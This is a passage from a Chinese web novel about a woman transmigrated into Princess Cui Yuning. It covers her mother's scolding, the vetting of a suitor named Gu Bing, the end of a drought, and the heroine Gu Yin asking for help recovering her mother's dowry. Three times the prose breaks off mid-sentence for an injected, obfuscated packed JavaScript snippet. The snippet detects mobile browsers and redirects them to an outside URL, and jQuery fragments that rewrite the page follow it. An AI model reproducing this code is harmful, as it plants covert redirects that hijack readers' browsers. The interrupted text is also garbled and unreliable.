崔玉凝不明白为什么章贵妃会对她去京畿大营如此大动干戈,一定要把她叫进宫教训。 她试探着开口:“阿娘,为什么不能去京畿大营啊?” 章贵妃恨铁不成钢地剜她一眼,“京畿大营是什么地方?你凭什么去?” 崔玉凝梗着脖子:“我只是陪表姐看表哥……” 章贵妃蓦地起身,一指头戳在她额上。 “我章铮瑜怎生出你这个笨东西!你表姐是去探亲,你呢?你去,那叫结党!” 崔玉凝倏然噤声。 公主。 她是公主。 章贵妃压低了嗓音,一字一句教她:“如今是你父皇在位,他知道你没那个意思。可往后呢?待你兄长继位,你还这般行事,可有人替你剖白?” “别以为你和你皇兄关系好他就会一直包容你,皇权面前哪有亲情?”章贵妃继续说,“不然你那些叔伯姑母怎会如此。” 崔玉凝怔在原地,终于明白章贵妃为什么一定要叫自己过来。 听人劝,吃饱饭。阿娘是为她好。 “要我说你还是嫁给裴则最好,他与太子一起长大情同手足,做事有分寸,最重要的是他管得住你。” 章贵妃越说越满意裴则,还是见崔玉凝脸色不好,才叫若梅若琴从一旁的小书房捧出两大摞画轴。 崔玉凝眼皮跳了跳,有种不好的预感。 果然,下一刻章贵妃就开口了。 “这是阿娘和你母后为你挑选的一些还不错的世家公子。”章贵妃拿起顶上的一卷,在她面前展开。 看着画卷,崔玉凝不禁感慨画师画技超群,人像栩栩如生。 章贵妃觑她神色,心下了然,笑了笑。 “这是吏部尚书家的小公子,行三,叫……”说着章贵妃又看了一眼画上的名字,“叫顾秉。” “如何?”章贵妃打趣,没有人比她更了解她的女儿了,这幅神情只有见裴则的时候出现过。 崔玉凝原本还因为措手不及有些反感,看到画像突然就释然了,小公主的阿娘是全世界最爱小公主的人,别说是几十个人,就算是几万个人,章贵妃都会仔仔细细从里面给小公主选出最好的。 崔玉凝点点头,“阿娘,他很好看。” 这个顾秉看起来就温润如玉,从画像看不输裴则,比她穿来后见过的大多数人都要好看。 闻言章贵妃轻笑出声,一副果然如此的表情:“好,那过些时日叫他来给你见上一面,到时候你若是满意,就请你父皇赐婚。” 崔玉凝反问:“您刚刚不还说裴则最好,怎么又选中他了?” 章贵妃白了她一样:“你不是不喜欢裴则,阿娘还能逼你?” “这个顾秉脾性与你相合,跟裴则全然不同,皇后娘娘和我都觉得他能与你玩在一起。”章贵妃解释。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211494|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔玉凝不以为意的点点头,见章贵妃被哄好了,她就想脱身去找皇帝。 距离她落水一事已经过去已经快过去小半个月了,皇帝一直帮她拖着裴家,不知道皇帝还能拖多久,没有皇帝的准话她还真的不安心。 “去含元殿?”章贵妃看穿她。 “什么都写在脸上。”章贵妃给崔玉凝递了一盏凉茶,“你父皇这几日为南方大旱的事烦着呢,你多关心关心他,别上来就提赐婚。” “……是。”崔玉凝乖乖应声,心里想的却是南方大旱。 这几日天气的确热得不寻常,只是听到这南方大旱才对“热”有了实感。 小说世界紧密联系着,每时每刻都有事情在发生。 见崔玉凝发呆,章贵妃摆摆手让她走了。 …… 含元殿。 确认殿内无人议事,崔玉凝从迈步进门。 皇帝坐在御案后头处理奏折,崔玉凝进来的时候头都没抬。 “被你阿娘训了?”皇帝沉沉开口。 崔玉凝无语凝噎,这后宫还真是没有秘密…… “京畿大营的事。”皇帝批完一本折子放在一旁,又拿了一本新的,顿了顿:“你阿娘没冤枉你。” 崔玉凝低下头,没说话。她今天进宫就是来挨训的。 过了许久,皇帝放下奏折,看向崔玉凝,叹了口气:“知道错了就好。” “父皇……” “裴家那孩子,你确定不喜欢了?”皇帝问。 这话来得突然。 崔玉凝抬起头,对上皇帝的目光。 心头一颤。 小公主从来都没有不喜欢裴则,她不喜欢也只是因为不敢喜欢小说男主…… 等等! 再这样下去,她就要因为太愧疚忘记自己的目的了。 甩开那些乱七八糟的想法,崔玉凝肯定地点头:“父皇,我真的不喜欢裴则了!” 皇帝看着她,说:“裴则求娶你,朕晾了裴家小半个月,今日你来朕便给你个准话。” “等你的婚事定下来,朕就给裴则赐婚。”皇帝顿了顿,“南方大旱,就让聿修带人去赈灾吧。” 闻言,崔玉凝一惊,裴则只是翰林院编修,赈灾一事哪里轮得到他:“父皇……” 她想问,可话到嘴边又不用问出口了,她也没那么笨。 …… 崔玉凝离开含元殿的时候有一瞬失神。 一切都很顺利。 虽然她也不知道自己在做什么,但是最开始远离裴则的目的兜兜转转已经实现了。 走下台阶,一个高大的身影挡在身前。 崔玉凝抬头看。 又是裴则。 “皇上找我议事。”靠得太近了,崔玉凝甚至能感受到裴则的胸腔震动。 崔玉凝疑惑:“你跟我说这些干什么?” “公主刚刚问的。”裴则淡淡答道。 见崔玉凝愣神,璎珞急忙附在她的耳边把刚刚的话轻声告诉她。 “哦。”崔玉凝沉默,想到她跟裴则再也没有关系了,随即又露出一个灿烂的笑容:“祝裴大人一路顺风。” 很久不见小公主的笑容,裴则一怔。 心间一转,虽然不可置信,但也猜到皇上找自己是什么事了。 裴则勾唇讥讽一笑:“那就多谢晏宁公主了。” 8. 顾秉 自含元殿门口一别,崔玉凝终于真正过上了公主的爽文人生,没有死亡宣告,也不用再急着找驸马。 崔玉凝天天躺在公主府避暑,期间还指挥着府里的下人趁着清晨凉快在院子里搭了爬架还种了点丝瓜。 一开始她没打算种这些东西,天气太热,她怕活不成。 后来还是她为了写日记翻日历的时候才发现现在才六月末,离立秋还有一个多月,今年热得简直莫名其妙。 公主府有自己的菜圃,丝瓜苗就是璎珞从菜圃园丁那儿匀来的。 苗刚栽下那几日,崔玉凝每日早起第一件事就是去爬架底下看,生怕这些苗都给太阳晒死了。 她甚至不敢对这些小苗抱什么期待,期待越大,小苗死的越快。 万幸的是这些小苗蔫了两天就缓过来,崔玉凝当下就迫不及待地叫人在棚下搭了张躺椅,偶尔傍晚的时候坐在这儿吹吹风。 见她半躺在棚下,琅珠还笑她:“小苗才刚缓过来就得伺候公主了。” 崔玉凝往椅背上一靠,也笑着应声:“在公主府里可不就得伺候公主嘛。” …… 裴则去南方赈灾已有十几日,却一点都没有下雨的征兆。 皇帝能做的都做了,朝臣开始催他开坛祭天,求上天降雨。 崔玉凝身为公主,也被御史盯得紧,不敢享乐,只敢猫在府里。 好在祭祀之前,雨就哗啦啦地降下来了。 雨是半夜下的,夏天的雨总伴随着雷声。 那天崔玉凝在睡梦中被一阵惊雷劈醒。 她迷迷糊糊地睁开眼,听见屋外淅淅沥沥的声音,起初她还没意识到这是下雨了。 还是守夜的两个小丫头在外间压着嗓子,轻声接耳:“下雨了。”“可算下了……” 她这才确认,真的下雨了。 下雨好啊,皇帝不用下罪己诏,大晏的百姓有救了,裴则也可以回来了…… 她躺在暗里,听着雨声由疏转密,从檐角瓦当一路哗啦啦地淌下来。 这一刻,心里那根绷了许久的弦终于松了。 裴则是因为她才去赈灾的,书中并没有这一节。 她没有见过灾民,也体会不到干旱的苦。但是她还记得小时候每年暑假都重播的电视剧里,灾民面黄肌瘦甚至要挖土吃。女主角把一个灾民的土给倒了,一群人上来抢…… 贪官可以捞油水,可男主是心怀天下的人,他的日子不一定好过。 听着雨声,崔玉凝长长地舒出一口气,翻了个身,安心地阖上眼。 下雨了,再不好过也好过了。 …… 第二天起床,府里的小丫头们都很欢喜,下雨了天就凉快了。 几个小丫头围站在廊下看下雨,嘴里还叽叽喳喳地说要去哪里玩。 崔玉凝没管她们,只要当好自己的差,无论是小公主还是她都不曾约束过她们。 她坐在明间,看着女孩子们雀跃的身影,唇角也不自觉染上一抹笑意。 崔玉凝今日要去东宫一趟。 昨天傍晚太子派人过来告诉她今日要见见之前章贵妃和她选定的驸马。 叫什么来着?哦对,叫顾秉。 要不是太子派人来说她已经完全把这件事抛之脑后了。 近日酷暑,南方大旱,身为皇家人,就算做不到与民同苦,那也绝不能耽于享乐,所以什么宴会游乐全部取消,皇后贵妃也没理由随意召见臣子。 最后崔玉凝与顾秉相看一事就被甩到崔璟祁头上了,由太子全权安排。 顾秉没有入仕,一介白身,太子也是磨蹭了半个月才想好理由。 崔玉凝倒是无所谓,反正雨已经落下来了,甚至爱屋及乌地给顾秉先打了个很高的印象分。 - 东宫。 崔璟祁搁下笔,捏了捏眉心。 入夏以来滴雨未落,南方旱成这样,地方官报上来的灾情严重,说庄稼成片成片的旱死,朝廷上下焦头烂额。 父皇却又把裴则派去赈灾,不是他不相信裴则的能力,只是情况复杂…… 偏偏裴则一走,母后和章贵妃后脚就催到他这儿来了。 裴则走后,母后就把他召进宫,旁的话没有,只叫他想办法让凝儿同那顾秉见上一面。 顾秉这个人,他是见过的。 他二哥顾川是他伴读,只是顾川说过他这个弟弟被宠坏了,一张脸皮生得很好,也很会撒娇。 但也仅此而已。 身上无功名,也不入仕,就是一个纨绔子弟。除了家世清白,父母兄弟和睦,一张脸拿得出手,剩下没有一点好的。 这样的人,在崔璟祁看来,还不如裴则。 不过母后说凝儿已经点过头了,崔璟祁叹了口气,倍感无奈。 他妹妹喜爱俊俏小生这一点倒是十几年不曾变过。 …… “阿兄~” 崔璟祁头都没抬,光听这声音就知道是谁来了。早上看见降雨的消息还没好好高兴一番,又得处理这些事,也不知道崔玉凝这回来又是来讨要什么的。 崔玉凝直接推开了书房门。 喜乐公公守在门口,他刚刚说,太子殿下等她很久了。 “阿兄是不是等我很久了?”崔玉凝一进门就把喜乐给卖了。 兄妹二人很多天没见面了,崔璟祁政事繁忙,崔玉凝也无妖可作。 崔玉凝从璎珞手里接过小竹篮,往案上一搁:“阿兄,这是凝儿近日种的韭菜,给你尝尝。” 崔璟祁没看清是什么,下意识往后一仰,看清是韭菜后才笑着问:“是你亲自种的?” 当然不是,不过崔玉凝脸不红心不跳,面不改色道:“当然啦!” 崔璟祁没揭穿她,反而笑眯眯:“那一会儿留下来吃晚饭。” 兄妹俩说了几句闲话。 崔玉凝把那篮韭菜往他手边推了推,“阿兄,南方灾情严重吗?” 语气平平像随口一提。 崔璟祁抬眼,端起茶碗,吹了吹浮叶,问:“怎么突然想起问这个了?” “今日落雨了,我就忽然想起来。”她低着头,手指还在那篮子的提手上绕来绕去,“也不知道那边旱情好些没有。” 崔璟祁默了一瞬,就是因为知道崔玉凝醉翁之意不在酒,他才不想说。 崔玉凝看出他神色不好,放缓了声音,又问:“阿兄,这也不能说吗?” 崔璟祁被妹妹一点,才开口解释:“南方三日前就已经落雨了,只是他还要再等一段时间才会回来。” 崔玉凝也沉默了,她还是问得太明显了。 她转移话题又问:“阿兄,那个顾秉……你见过没有?” 崔璟祁看她一眼,倒也没打趣。 “见过一次。”他搁下茶盏,“顾川是孤的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211495|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伴读,之前带他弟弟来过一次,你也见过。” 见过见过又见过,崔玉凝听这句“见过”听得简直要疯,在太子和章舒窈嘴里京城每个适龄男子她都见过,可是小公主记忆库里一个男人都没有。 “哦。”崔玉凝面上不显,乖巧地点点头,又问,“那……人怎么样?” 崔璟祁哼笑一声:“长相么,你见了画就点头答应了,至于其他倒跟你很像,不学无术,成日斗鸡走马……” 说完,他看向崔玉凝。 崔玉凝被看得羞愧,但又理直气壮:“他是要做驸马,只要皮相好就行了!如果跟兄长一样文韬武略样样精通还能做我的驸马吗?” 崔璟祁低头批着面前的折子,似乎根本不在乎崔玉凝在说什么。 窗外蝉鸣阵阵,夏天的活力终于在此刻迸发。 …… 喜乐在门外通传,说小顾大人到了。 崔璟祁应了一声,起身把崔玉凝领到内室,让她在屏风后面躲好,这才让人进来。 顾川先进门,身后跟着个少年。 崔玉凝从屏风缝隙望出去。 看着跟裴则差不多年纪,但是眼神里透着清澈,不知道是不是见多了裴则崔璟祁这些心眼子多的,偶尔见到这种眼神清澈的,感觉像在看傻子。 顾秉穿着一身月白色的圆领澜衫,手上还捏着一把折扇,样貌的确极好。 崔玉凝甚至敢断定顾秉就是书里唯一一个能在相貌上跟裴则一较高下的人。 不过裴则的眼睛像深不见底的潭水,顾秉的眼睛却亮得坦荡。 她收回视线。 屏风那头,崔璟祁与顾川叙了几句旧,才把话头转向顾秉。 “你兄长说你读书尚可,”崔璟祁语气淡淡,“孤且问你几题。” 顾秉上前一步,拱手道:“殿下请问。”父亲说过,能被晏宁公主看中对他而言是最好的归宿,所以为了今日,他大哥和他二哥在家给他紧急补习了小半个月。 崔璟祁先问《论语》,又问近日南方旱灾一事。 崔玉凝在屏风后听着,突然就听到了脚步声。 一步,两步,三步……崔玉凝顺着声音看去,是顾川在找她。 她没心思再听太子拷问顾秉,只觉得太子对他的这些伴读都太好了。 裴则也就罢了,现在又来一个顾川,一个两个通通都不把她这个公主放在眼里。 …… “好。”崔璟祁淡淡的说,看不出满意还是不满意。 窗外的雨依旧淅淅沥沥,像是要把过去一个月没下的雨一次补上。 崔璟祁又与顾川闲话几句,就叫喜乐将二人送出去了。 见人走后,崔玉凝从内室出来,问:“阿兄,你觉得他怎么样啊?” 崔璟祁不再掩饰,直白地显出自己的不满:“难堪大用,为了攀上你这根高枝临阵磨枪。” 末了又补上一句:“不快也不光!” 崔玉凝站在他身后瘪了瘪嘴,又问:“那不要他了?” 崔璟祁被问住了,显然母后贵妃还有凝儿三个人都觉得顾秉不错,尤其是母后与贵妃定然是优中选优才选出顾秉的。 难道这偌大的京城还找不到一个比裴聿修更好的人? 思及此,崔璟祁转过身轻轻摸了摸崔玉凝的脑袋,又提起书案上存在感极强的那一篮韭菜:“嗯,不要了,阿兄给你找更好的。” 9. 做公主真是千好万好! 闻言,崔玉凝沉默了一瞬。 合着她哥是看谁都不顺眼啊…… 虽然还没到晚膳时间,但东宫的一切都为太子服务。 早在崔璟祁说要崔玉凝留下用饭的时候,喜乐就吩咐厨房准备了。 小膳堂,兄妹二人相对而坐。 崔玉凝带来的一篮子韭菜也炒了盆鸡蛋端了上来,宫人摆膳的时候喜乐特地把这道菜挪到了太子面前。 崔璟祁上午事忙还没来得及用午膳,只是就着水用了点点心,这会儿也不讲究那些虚礼了,筷子没停过。 倒是崔玉凝在讨了东宫的厨子回去后每一顿都吃得很好,来之前还用了一顿丰盛的午膳,这会儿看着面前的大米饭,她根本没胃口。 “不合胃口?”崔璟祁看到妹妹拿着筷子也不吃饭就拨弄着面前的米饭。 “天热,吃不下。”崔玉凝敷衍道,心里想的却是崔璟祁真爱明知故问。 崔璟祁点点头,没认同也没反驳,不再管她。 崔玉凝眼见着崔璟祁又添了一大碗饭,忍不住开口:“阿兄,你今日怎么吃这么多?” 剩下那句“你不是高岭之花不吃饭吗”被她默默咽下,上回跟他们俩人一起吃饭的时候她就奇怪只吃那么几口怎么能长得这么高大,果然只是在她面前装蒜,其实私底下每顿饭都要吃一盆。 想到面如谪仙的裴聿修私底下每顿饭都要吃一盆就忍不住笑出声来。 谁料她这副按捺不住笑意的模样被崔璟祁看在眼里,加上前面那句问话,他还以为妹妹是在笑话他,当即正色道:“阿兄一天没吃饭,多吃两口也是人之常情。” 崔玉凝点点头,见崔璟祁也已经吃完了,就顺势放下筷子,站起身:“阿兄,我要先回去了,这个顾秉的事你替我跟母妃去说!” 她当机立断把这件事的责任转嫁给本次相亲活动的负责人,说实话她真不想再被章贵妃叫进宫挨训了,横竖这次是崔璟祁不满意在先。 崔璟祁没说话,只是轻轻“嗯”了一声,做兄长的总是要为妹妹尽责,找个合适的真正能与妹妹相伴一生的人才好。 - 崔玉凝从东宫离开的时候日头已经西斜,她不会看太阳辨别时间,只当天光大亮就不算晚,叫车夫绕道去了趟樊楼。 樊楼不仅是大晏最富盛名的酒楼,最繁华的娱乐场所,这里的点心也是一绝。 崔玉凝对点心研究不多,但比起公主府里做出来的甜点,樊楼里的东西每一样都甜而不腻,让人流连忘返。 如果不是大晏没有打发奶油的食用方法,她相信樊楼在做蛋糕这件事上也是不遑多让的。 马车驶过长街,崔玉凝靠在车壁上。 如果不是璎珞阻止,她还挺想抱着小冰盆的。 她从东宫出来的时候雨已经停了有一会儿,现在热气蒸腾上升,空气里透着一股闷闷的潮意。 樊楼还是老样子,门庭若市。 崔玉凝的马车停在离樊楼有一段距离的地方,璎珞自觉下车,她还靠在车壁上百无聊赖。 车夫停车的地方僻静,她掀开一点帘子,车外人来人往,下过雨后不仅是他们,好像所有人都松快了。 璎珞提着三盒点心从樊楼出来了,这是她点名要的。 樊楼点心种类繁多,她每样都想尝尝。 做公主的好处就是每样都能买上一两份,吃不完还有很多人可以一起分担。 想到这里崔玉凝心里又美了,做公主真是千好万好! - 璎珞上车后,迫不及待打开点心盒子给崔玉凝介绍起来。 对了,忘了说樊楼点心的销售模式了。 樊楼的老板简直就是销售天才,每一旬售卖的点心都是不同的,如果想吃到樊楼的每一种点心那就每一旬都不能错过。 这一旬还是崔玉凝第一次出来买点心,璎珞自然就迫不及待地给她介绍起来了。 “殿下,这一旬樊楼主推的就是这蜜桃塔,店小二说许多府上都遣人来买呢。”璎珞从一个盒子里拿出一块蜜桃塔递给崔玉凝。 崔玉凝早先就怀疑樊楼的经营者,这会儿看见这个蜜桃塔心中的疑惑几乎要坐实了。 怎么会这么像蛋挞?上面的桃子丁粉嫩诱人,崔玉凝没忍住直接一口咬下,唇齿留香。 这就是水蜜桃蛋挞! “樊楼有没有卖过蛋挞?”樊楼的点心单子一旬一换,之前有没有卖过蛋挞崔玉凝根本就不知道。 璎珞被公主忽然严肃的神情怔住,呆呆地摇了摇头:“公主,奴婢不知道。” 崔玉凝看着璎珞呆呆地表情,怜爱地摸了摸她的头。差点忘了璎珞她们几个天天和小公主待在一起,哪里有功夫打听樊楼卖什么点心。 崔玉凝在心中暗自叹了口气,就算樊楼背后的老板真是现代人她也不能随便认亲。 - 马车辘辘,却突然停下了。 璎珞一把掀开帘子,正要说车夫几句,却见车前有两名女子被推到在地。 看穿着打扮似乎是谁家小姐和她的贴身婢女,有了这个初步判断,璎珞故意将帘子掀得更大一些,好叫崔玉凝看清马车外的情形。 若是刚穿来的时候崔玉凝定然是不懂的,不过现在她与琅珠璎珞她们都有十足的默契。 崔玉凝向外看去,可怜兮兮的主仆二人在马车跟前却没有一点要起身或是挪动的意思,她不禁生出一丝厌恶,怕不是早早看见她的车架等着讹人吧。 璎珞见公主皱起眉,轻轻扯了一下崔玉凝的衣袖,用口型说:“顾府。” 崔玉凝看到了璎珞的口型,跟着学:“五福?” “顾府!”崔玉凝心下一惊,得来全不费工夫,只是面上依然波澜不惊,淡淡道:“璎珞,你去问问她们出了什么事。” “是。”璎珞推开门下了车。 作为大晏最尊贵的公主的婢女,无论在内如何,在外都是气势十足。 “这位姑娘为何拦住我们的路?”璎珞冷着脸问。 那位小姐没动,只是低着头,倒是小丫头像被吓了一跳。 “不说话?”璎珞等了一会儿却没等到回答,没了耐心,“徐树,从她们身上轧过去。” “好嘞,璎珞姐姐。”徐树应得爽快。 这种事他最有经验,公主身份尊贵总有人想攀高枝,用些搬不上台面的手段。 后来琅珠姐姐就想了这么个办法,只要说“从身上轧过去”,他就驭马踩上一脚。 不过大多数人听见这句威胁都会自己挪开,包括今日这个躺在马车前的小姐。 只见那位小姐终于起身直挺挺地跪在马车前:“求晏宁公主替臣女做主!” 崔玉凝已经在马车里看了许久的戏,根据璎珞的暗示,这位就是顾家的小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211496|197419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可是顾家小姐这么多,这位又是谁? 璎珞站在车前瞥见周围人渐渐多了起来,心里暗道不好,把这个拦车的小姐在心里鞭挞了几百回。 有事说事,非要高声喊,把周围的人都喊出来了,现如今公主是帮还是不帮? “这位小姐有冤情,该去大理寺。若实在没法子,还能敲登闻鼓。私自拦下公主车驾,又是何意?”璎珞的声音夹带了怒气。 所有人都觉得公主良善可欺就蹬鼻子上脸,有胆子拦她家公主的车架怎么没胆子拦太子车架! “臣女顾因,因家中……” “璎珞,把人带上来!”崔玉凝出声打断,是女主就好办了,虽然不清楚到底发生了什么,不过帮助女主解决问题总不会有错。 更何况她现在可是公主,虽然心计谋略玩不过裴则他们,但是以权压人解决问题还是挺容易的,否则女主怎么会求到她这里。 崔玉凝这样美滋滋地想着帮女主解决问题,等裴则回来再介绍两个人认识,这样两人一成婚,裴则就管不着她,更不会让她去死了。 顾因上车后先是行了一礼,璎珞知晓这位应当就是叫公主好奇的小姐,也不像刚刚那么不满了。 崔玉凝端坐在车上,就好像这是长乐宫主殿一样。 为了维持公主的威严,崔玉凝特意没有说话,直到回了公主府也没有跟顾因说一句话。 不说别的,如果顾因不是女主,她真的会讨厌这种行事风格。 所以她要晾一晾她,免得女主得寸进尺,又干出这种故意把公主架起来的事。 “殿下,您不是对顾家的人很好奇吗?何不叫来问问。”琅珠跟在崔玉凝身后问。 崔玉凝撇了撇嘴:“肯定不是什么大事,大事求太子求大人都比求本公主靠谱。” 琅珠不喜欢公主这么说自己,但事实的确如此,公主做什么事都被管着,也没有独立办过事。 上次跟着表小姐去京畿大营还马不停蹄地挨了贵妃的骂。 主仆二人同时叹了口气。 - 公主府西苑。 顾因和小桃跟着崔玉凝回府后就被安排在这里。 小桃四处打量一圈后,撇撇嘴角:“小姐,这里就是公主府吗,我觉得还不如我们顾府呢!” 顾因坐在桌牌,呷了口茶,淡淡制止道:“别瞎说,我们还要请晏宁公主帮忙呢。” 小桃福了福身:“是。” 随即又问:“小姐,为什么公主请您上车却不让你说出来呢,现在还不见您,她会不会就这样把我们晾在这里彻底不管了啊?” 顾因瞥了眼在屋里转来转去的小桃,语气笃定:“不会的,晏宁公主是很好的人,她会帮我的。” 这回顾因从家里出来原本是想找外祖家帮忙,却没想到被人推了一把,刚好遇上晏宁公主。 她听过小公主的事迹,虽然小公主只知道吃喝玩乐,可也最是仗义执言之人,看见小公主车架过来的时候,她只犹豫了片刻就决定要求公主帮忙。 - 第二天,崔玉凝让人将顾因请到了正厅。 她坐在上首,心里想着晾了一夜应当卓有成效。 昨晚她特地把自己记下来的小说剧情拿出来看了,根本就没有什么女主向公主求助的情节,也不知道剧情歪成什么样了,才会让顾因迫不得已到要求助晏宁公主。 10. 女主 屋外雨声沥沥,自打昨天下过雨后,这天就像破了个口子,一直下个不停。 殿内的氛围也像这天气一般,阴沉沉的。 崔玉凝端坐上首,抬眼看着跪在下面的顾因主仆。 她真的很好奇为什么她们一进来就跪在那里,还一直不说话。 这算怎么回事儿? 某一瞬间她甚至觉得自己从炮灰女配变成恶毒女配了。 两方僵持许久,久到她开始数窗外的蝉鸣打发时间,终于,她忍不住开口:“顾小姐,你到底有什么事?” 声音不高不低,却在殿内显得格外清晰。 顾因的身子微微一僵,顿了顿,才缓缓抬起头。 崔玉凝看着她眼眶微红,心中暗暗感慨,不愧是女主,果然美貌。 顾因咬了咬下唇,声音里还带着点哭腔:“请公主殿下恕罪,臣女事出有因。” 说完这句话,她又顿了顿,抬头看了一眼崔玉凝,似乎是期待着崔玉凝能搭句话。 崔玉凝没催她,只是静静看着。 “臣女是兵部侍郎顾越的三女。”顾因的声音渐渐稳了下来,“生母亡故后,父亲续娶了继室梅氏。那梅氏与父亲一道,强占了我母亲的嫁妆。” 她说到这里,再次直直看向崔玉凝,眼眶红着:“臣女此番前来,是想求公主做主,帮我夺回母亲的嫁妆。” 殿内又安静下来,只剩下窗外淅淅沥沥的雨声。 崔玉凝沉吟片刻……这事儿她倒是有印象,只是最后女主怎么解决的来着?小说里她找人求助了吗? 但小公主没办过事啊,她也不知道怎么办,崔玉凝只好问:“那你想让我怎么办?” 顾因没想到晏宁公主会问出这种问题,意外的神情都写在脸上了。 “我知晓公主仗义执言,做事公正……” …… 崔玉凝听完,一时无言。 好话都被说完了,那她能怎么办。 她本人是最讨厌这种瞎话的,以前她老板叫她免费辅导小孩功课的时候也是这套词。 要不是眼前跪着的这位是女主,她真的会让她走。 可是女主能有什么坏心思呢? 崔玉凝转念一想,很爽快地点了头,语气轻描淡写:“行了,我知道了,你先回去吧。” 顾因愣了一瞬,似乎没想到这位公主答应得如此干脆,随即又是深深一叩首,声音里带着压不住的欣喜:“多谢公主殿下!” 主仆二人退出殿外,渐渐消失在雨幕里。 正厅重新安静下来,只剩下崔玉凝和琅珠几人。 “殿下!”琅珠第一个憋不住,凑上前来,一脸急切,“您怎么就这么答应她了?” 璎珞也赶紧跟上,脑袋点得像小鸡啄米:“就是就是,殿下,她那话听着是不错,可我怎么觉得……怪怪的? 崔玉凝抬手止住她们:“行了,不过一件小事,帮就帮了。” 说完,她转身向内室走去,留下琅珠和璎珞两个人面面相觑。 - 崔玉凝独自歪在美人榻上,盯着茶盏发呆。 她穿着一件轻薄的外衫,窗外细雨未停,屋内冰鉴还是前几日的配置,一时间还怪冷的,她打了个寒颤。 一件小事,帮了就帮了…… 她在心里又把这句话过了一遍,明明自己刚刚说这句话的时候还挺洒脱的。 ……可问题是,怎么帮? 她慢慢皱起眉,手指无意识地绕着外衫的系带打转。 难道直接上顾府讨要吗? 可她是公主啊,这样随便去臣子的家里撒泼肯定不行吧。 到时候章贵妃肯定又要骂她,而且被御史台的那些人知道了她绝对会被弹劾! 到时候父皇也要骂她,皇后也要骂她,皇姐也要说她。 那要不……写封信?写给顾侍郎本人,说“听闻你霸占亡妻嫁妆,速速归还”? 或者……找个中间人?可她认识谁啊?能帮小公主办事的就那么几个人,谁愿意掺和这种家务事。 到底要怎么自然地插手别人的家事啊? 崔玉凝越想越头疼,索性一把把自己摔到床上,把脸埋进软枕里。 忽然,她又想到了崔璟祁。 她掰着手指头数了数,发现这一个月来,她好像已经麻烦过他四五回了。 谁让太子是她哥呢? 崔玉凝心安理得地想。 她翻了个身,仰面望着床顶,嘴角慢慢弯起来。 崔璟祁才是真正的机器猫,无论她想做什么都会帮她的。 …… 下午,雨势渐小,崔玉凝特意从樊楼绕了一圈,按照崔璟祁的口味挑了几样点心。 东宫门口的侍卫远远瞧见晏宁公主的马车,早早就候着了。 没怎么查就放行了。 崔玉凝步履轻快地穿过回廊,熟门熟路地推开崔璟祁书房的门:“阿兄,我给你带了樊楼的点心。” 崔璟祁天天都在书房,政事好像无论如何都处理不完似的。 崔璟祁早在崔玉凝进东宫大门的时候就收到消息了,心里欢喜,但面上还是严肃:“凝儿,怎么越来越没规矩了!” 崔玉凝撇撇嘴,拎着食盒凑过去,语气里带着几分撒娇的意味:“阿兄,我日日都来,还要什么规矩?” 崔璟祁抬眼瞥她一下,没接话。 崔玉凝把食盒往案角一放,凑到他身侧,笑嘻嘻地看他的脸色。 看到这副讨好的笑,崔璟祁也不绕弯子,直接问:“说吧,今日又有什么事?” “阿兄,昨日我从你这里回去以后,救了一个可怜的女孩。” 崔璟祁没应声,继续面不改色地批阅面前的折子,对妹妹有求于他的姿态十分受用,放任崔玉凝绘声绘色手脚并用地表演。 期间,崔玉凝的袖子差点把案上的茶盏扫落,崔璟祁余光瞥见,不动声色地把茶盏往远处挪了挪。 崔玉凝也注意到崔璟祁的动作,自觉应该表示表示,便绕到他右手边,伸手去拿墨条。 “阿兄,我给你磨墨。” 崔璟祁正要蘸墨,被她伸过来的胳膊一挡,只得默默把手缩回去,往旁边避了避。 崔玉凝的磨墨手法实在说不上专业,下手没轻没重,墨条磕在砚台上叮当作响,几滴墨汁溅出来,差点溅到她自己的袖口。 崔璟祁瞥了一眼她的手,又看了看砚台里那摊深浅不一的墨汁,忍了忍,到底没说什么,只默默把折子往自己这边挪了挪。 崔玉凝毫无察觉,一边磨墨一边继续念叨:“阿兄,你说这事儿怎么管才好?我总不能直接上顾家要钱去吧……” 崔璟祁眼皮都没抬,把手中批阅完的折子摆到另一侧,才缓缓开口:“顾越不过是个庸庸碌碌之辈,靠着祖上荫蔽做了个官,没有做事实的能力。” “怎么没有,他不是把原配的嫁妆给占了吗?”崔玉凝小声反驳。 “孤的意思是他恃强凌弱,你过几日办个宴会,多照顾一下这位顾家小姐,顾小姐有了你这个依仗,自然就能夺回嫁妆。”崔璟祁怕崔玉凝听不明白特地解释。 “又要办宴会?”崔玉凝有些不满,忽而又想到一个主意,“能不能我给顾小姐一个什么信物,让她能借我狐假虎威?” 